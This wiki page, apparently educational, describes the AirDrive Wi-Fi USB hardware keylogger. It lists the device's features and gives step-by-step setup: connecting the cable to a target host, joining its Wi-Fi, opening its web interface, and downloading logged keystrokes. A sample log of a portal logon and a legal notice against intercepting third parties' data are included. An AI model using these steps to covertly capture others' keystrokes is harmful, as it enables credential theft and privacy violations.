* Supports over 40 national keyboard layouts&lt;br /&gt;
* Compatible with barcode readers&lt;br /&gt;
* Works as a wireless Wi-Fi hotspot&lt;br /&gt;
* Connect from any computer, smartphone or tablet&lt;br /&gt;
* Data access via web browser&lt;br /&gt;
* Remote data retrieval without touching the device&lt;br /&gt;
* Supports WEP, WPA and WPA-2 network security&lt;br /&gt;
* Memory secured by hardware encryption&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
&lt;br /&gt;
The AirDrive cable acts as a Wi-Fi hotspot. This means that the cable can establish a Wi-Fi connection with any Wi-Fi device (smartphone, tablet or laptop). The selected Wi-Fi device can then connect to the interface with the data protocol. There, there is the possibility to set configurations, such as the WLAN settings of the WLAN access point and the options for logging the keyboard strokes. Over 40 national keyboard layouts, including the world&#039;s most popular languages and keyboard layouts, are supported. Installation requires no additional software or drivers.&lt;br /&gt;
&lt;br /&gt;
=== Hands-On ===&lt;br /&gt;
&lt;br /&gt;
1.	Connect the USB keylogger cable to the external keyboard and the target host. 2.&lt;br /&gt;
&lt;br /&gt;
2.	Connect your smartphone, tablet or computer to the Wi-Fi network &amp;quot;AIR_XXYYZZ&amp;quot;, where &amp;quot;XXYYZZ&amp;quot; is the device ID of the USB cable. 3.&lt;br /&gt;
&lt;br /&gt;
3.	You can then use any web browser to access the interface under the IP &amp;quot;192.168.4.1&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
[[File:Webinterface 1.PNG|800px|thumb|none|]]&lt;br /&gt;
&lt;br /&gt;
4.	Open the settings to configure the keylogger cable. Various configurations can be made there:&lt;br /&gt;
&lt;br /&gt;
[[File:Webinterface 2.PNG|800px|thumb|none|]]&lt;br /&gt;
&lt;br /&gt;
[[File:Webinterface 3.PNG|800px|thumb|none|]]&lt;br /&gt;
&lt;br /&gt;
[[File:Webinterface 4.PNG|800px|thumb|none|]]&lt;br /&gt;
&lt;br /&gt;
To apply the settings, click on &amp;quot;Save data logging settings&amp;quot; and/or on “Save Access Point settings”.&lt;br /&gt;
&lt;br /&gt;
5.	Since this is not a &amp;quot;Pro&amp;quot; device, there are no advanced settings available. Features like an internet connection via the access point, timestamps, reporting via email and data streaming can be set via this sub-menu.&lt;br /&gt;
&lt;br /&gt;
6.	However, we can download the &amp;quot;Data Log&amp;quot; under the &amp;quot;Download&amp;quot; button, which can be several pages long.&lt;br /&gt;
&lt;br /&gt;
7.	With a click on &amp;quot;Data Log&amp;quot; we can observe what is typed on the external keyboard.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Example of a Data Log&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
In the following you can see a screenshot of a typical user logon process on the portal of the FH Campus Wien.&lt;br /&gt;
&lt;br /&gt;
[[File:Webinterface 5.PNG|800px|thumb|none|]]&lt;br /&gt;
&lt;br /&gt;
=== Important Legal Notice [1] ===&lt;br /&gt;
&lt;br /&gt;
The usage of a keylogger is fully legal as long as a clear notice is displayed, informing the user of the monitored equipment about the presence of a keystroke logger. We encourage the use of this equipment only for the purpose of monitoring your own computer, especially for protecting children against online hazards. It is NOT LEGAL to use a keylogger for the purpose of intercepting third party data, especially passwords, banking data, confidential correspondence, etc. If in doubt, please seek legal advice before using a keystroke logger. A good starting point is the U.S. Department of Justice Letter on Keystroke Monitoring and Login Banners, according to which a clear notice should be displayed, warning that user keystrokes may be logged.&lt;br /&gt;
&lt;br /&gt;
[[File:This PC is monitored.PNG|600px|thumb|none|]]&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://www.keelog.com/de/forensic-keylogger/&lt;br /&gt;
* https://www.keelog.com/airdrive-keylogger-max-premium-usb-hardware-keylogger-with-wifi-and-flash-email-and-live-data-transfer/&lt;/div&gt;</summary>
		<author><name>EPelanovic</name></author>
	</entry>
</feed>